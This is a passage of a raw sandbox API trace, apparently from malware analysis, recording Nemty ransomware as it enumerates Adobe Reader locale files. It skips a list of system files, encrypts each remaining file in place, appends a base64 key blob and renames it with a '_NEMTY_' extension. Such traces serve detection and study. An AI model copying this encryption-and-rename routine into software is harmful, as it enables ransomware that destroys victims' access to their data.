returned 0x63401b8 [0185.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.867] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\DigSig.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\digsig.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\DigSig.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\digsig.chs._nemty_kgobjgd_")) returned 1 [0185.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0185.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0185.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0185.868] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.CHS", cAlternateFileName="")) returned 1 [0185.868] lstrcmpiW (lpString1="DVA.CHS", lpString2=".") returned 1 [0185.868] lstrcmpiW (lpString1="DVA.CHS", lpString2="..") returned 1 [0185.868] lstrcmpiW (lpString1="DVA.CHS", lpString2="...") returned 1 [0185.868] lstrcmpiW (lpString1="DVA.CHS", lpString2="windows") returned -1 [0185.868] lstrcmpiW (lpString1="DVA.CHS", lpString2="$RECYCLE.BIN") returned 1 [0185.868] lstrcmpiW (lpString1="DVA.CHS", lpString2="rsa") returned -1 [0185.868] lstrcmpiW (lpString1="DVA.CHS", lpString2="NTDETECT.COM") returned -1 [0185.869] lstrcmpiW (lpString1="DVA.CHS", lpString2="ntldr") returned -1 [0185.869] lstrcmpiW (lpString1="DVA.CHS", lpString2="MSDOS.SYS") returned -1 [0185.869] lstrcmpiW (lpString1="DVA.CHS", lpString2="IO.SYS") returned -1 [0185.869] lstrcmpiW (lpString1="DVA.CHS", lpString2="boot.ini") returned 1 [0185.869] lstrcmpiW (lpString1="DVA.CHS", lpString2="boot.ini") returned 1 [0185.869] lstrcmpiW (lpString1="DVA.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0185.869] lstrcmpiW (lpString1="DVA.CHS", lpString2="ntuser.dat") returned -1 [0185.869] lstrcmpiW (lpString1="DVA.CHS", lpString2="desktop.ini") returned 1 [0185.869] lstrcmpiW (lpString1="DVA.CHS", lpString2="CONFIG.SYS") returned 1 [0185.869] lstrcmpiW (lpString1="DVA.CHS", lpString2="RECYCLER") returned -1 [0185.869] lstrcmpiW (lpString1="DVA.CHS", lpString2="BOOTSECT.BAK") returned 1 [0185.869] lstrcmpiW (lpString1="DVA.CHS", lpString2="bootmgr") returned 1 [0185.869] lstrcmpiW (lpString1="DVA.CHS", lpString2="programdata") returned -1 [0185.869] lstrcmpiW (lpString1="DVA.CHS", lpString2="appdata") returned 1 [0185.869] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CHS", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0185.869] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CHS", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.CHS", lpUsedDefaultChar=0x0) returned 7 [0185.869] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CHS", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0185.869] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CHS", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.CHS", lpUsedDefaultChar=0x0) returned 7 [0185.869] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CHS", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0185.869] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CHS", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.CHS", lpUsedDefaultChar=0x0) returned 7 [0185.869] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CHS", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0185.869] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.CHS", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.CHS", lpUsedDefaultChar=0x0) returned 7 [0185.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0185.869] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0185.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0185.869] Sleep (dwMilliseconds=0x5) [0185.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x226f63d0, dwHighDateTime=0x1d561e8)) [0185.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x226f63d0, dwHighDateTime=0x1d561e8)) [0185.872] GetLastError () returned 0x0 [0185.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.872] GetLastError () returned 0x0 [0185.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.872] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.872] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.872] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0185.872] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="XS59hmDY9BcQxtoeSs5XT/cgFPmmwKtK8U4yzckmrsrQSBaDKkb00c+zLnRJeebp\r\n14CI6yFGslKy2k+smYwY521ObdklqMg/WN4Ddb+W3BtCu+i77jugluyjCI4cv4P7\r\nUVJj3hekqE7TdX99ru06vh7TBcK9sqVOXY8SgMsPyRYCj2USNlnDAJCsquXJ5N29\r\nKaEO2qe+GtM2rYMRO7tXQYPwK3B9bKCGbtTkJV1T59aLNouTZu2XMmVbFG7EQP/9\r\ngryeTvJ2DjkpLKdL89wEEbvXj3KdJNvl8rvR/ussgttFin4gp1HJTDs0BijhVEU8\r\ne2F5pGJGp1M+fRxyD1B4aA==\r\n", pcchString=0x653e5dc) returned 1 [0185.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0185.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.873] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\DVA.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\dva.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.873] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11776) returned 1 [0185.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2e00) returned 0x6352c48 [0185.873] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.873] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2e00, lpOverlapped=0x0) returned 1 [0185.875] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.875] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2e00, lpOverlapped=0x0) returned 1 [0185.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.876] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2e00 [0185.876] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.876] CloseHandle (hObject=0x2e8) returned 1 [0185.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0185.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.876] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0185.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0185.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0185.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.876] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\DVA.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\dva.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\DVA.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\dva.chs._nemty_kgobjgd_")) returned 1 [0185.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0185.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0185.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0185.877] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.CHS", cAlternateFileName="")) returned 1 [0185.877] lstrcmpiW (lpString1="eBook.CHS", lpString2=".") returned 1 [0185.877] lstrcmpiW (lpString1="eBook.CHS", lpString2="..") returned 1 [0185.877] lstrcmpiW (lpString1="eBook.CHS", lpString2="...") returned 1 [0185.877] lstrcmpiW (lpString1="eBook.CHS", lpString2="windows") returned -1 [0185.877] lstrcmpiW (lpString1="eBook.CHS", lpString2="$RECYCLE.BIN") returned 1 [0185.877] lstrcmpiW (lpString1="eBook.CHS", lpString2="rsa") returned -1 [0185.877] lstrcmpiW (lpString1="eBook.CHS", lpString2="NTDETECT.COM") returned -1 [0185.877] lstrcmpiW (lpString1="eBook.CHS", lpString2="ntldr") returned -1 [0185.877] lstrcmpiW (lpString1="eBook.CHS", lpString2="MSDOS.SYS") returned -1 [0185.877] lstrcmpiW (lpString1="eBook.CHS", lpString2="IO.SYS") returned -1 [0185.877] lstrcmpiW (lpString1="eBook.CHS", lpString2="boot.ini") returned 1 [0185.877] lstrcmpiW (lpString1="eBook.CHS", lpString2="boot.ini") returned 1 [0185.877] lstrcmpiW (lpString1="eBook.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0185.877] lstrcmpiW (lpString1="eBook.CHS", lpString2="ntuser.dat") returned -1 [0185.877] lstrcmpiW (lpString1="eBook.CHS", lpString2="desktop.ini") returned 1 [0185.877] lstrcmpiW (lpString1="eBook.CHS", lpString2="CONFIG.SYS") returned 1 [0185.877] lstrcmpiW (lpString1="eBook.CHS", lpString2="RECYCLER") returned -1 [0185.877] lstrcmpiW (lpString1="eBook.CHS", lpString2="BOOTSECT.BAK") returned 1 [0185.877] lstrcmpiW (lpString1="eBook.CHS", lpString2="bootmgr") returned 1 [0185.877] lstrcmpiW (lpString1="eBook.CHS", lpString2="programdata") returned -1 [0185.878] lstrcmpiW (lpString1="eBook.CHS", lpString2="appdata") returned 1 [0185.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CHS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CHS", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.CHS", lpUsedDefaultChar=0x0) returned 9 [0185.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CHS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CHS", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.CHS", lpUsedDefaultChar=0x0) returned 9 [0185.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CHS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CHS", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.CHS", lpUsedDefaultChar=0x0) returned 9 [0185.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CHS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0185.878] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CHS", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.CHS", lpUsedDefaultChar=0x0) returned 9 [0185.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0185.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0185.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0185.878] Sleep (dwMilliseconds=0x5) [0185.887] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2271c530, dwHighDateTime=0x1d561e8)) [0185.887] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2271c530, dwHighDateTime=0x1d561e8)) [0185.887] GetLastError () returned 0x0 [0185.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.887] GetLastError () returned 0x0 [0185.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.888] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.888] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.888] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0185.888] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="mz/BJxn6CluUmWXSka5pzeN3mM3CFEiHEME4FM9UOpBt0cqv08KnK385E/WjIowh\r\nSauthECkzn3HXkRHgOPXK+WbakwoqWz7D0+wsVEC6r0f7jEtxhruV9JmXrPXe9im\r\nmz7LChxewrJW/SAd16an3YmOzU21/CdCJ8wX2+grnSuB5GEacaUvMqAozn/KRjyS\r\naFRfnChLecN1NWG3ALr7VAgzBXk7vGHaNcBa0yTrt5HpBs8QHSKh/vjGcrOMaMef\r\nm9XvV4WZFotyMnTl5pZ2vSGVDZBbIKOtgsI2jQtMbXnqma4OhKBZozPox5Dqjfod\r\n8w0udG3a4qmT6o/UKKN2BA==\r\n", pcchString=0x653e5dc) returned 1 [0185.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0185.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.888] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\eBook.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\ebook.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.888] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=5632) returned 1 [0185.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1600) returned 0x6352c48 [0185.889] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.889] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1600, lpOverlapped=0x0) returned 1 [0185.890] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.891] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1600, lpOverlapped=0x0) returned 1 [0185.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.891] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=5632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1600 [0185.891] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.891] CloseHandle (hObject=0x2e8) returned 1 [0185.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0185.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0185.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0185.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0185.891] 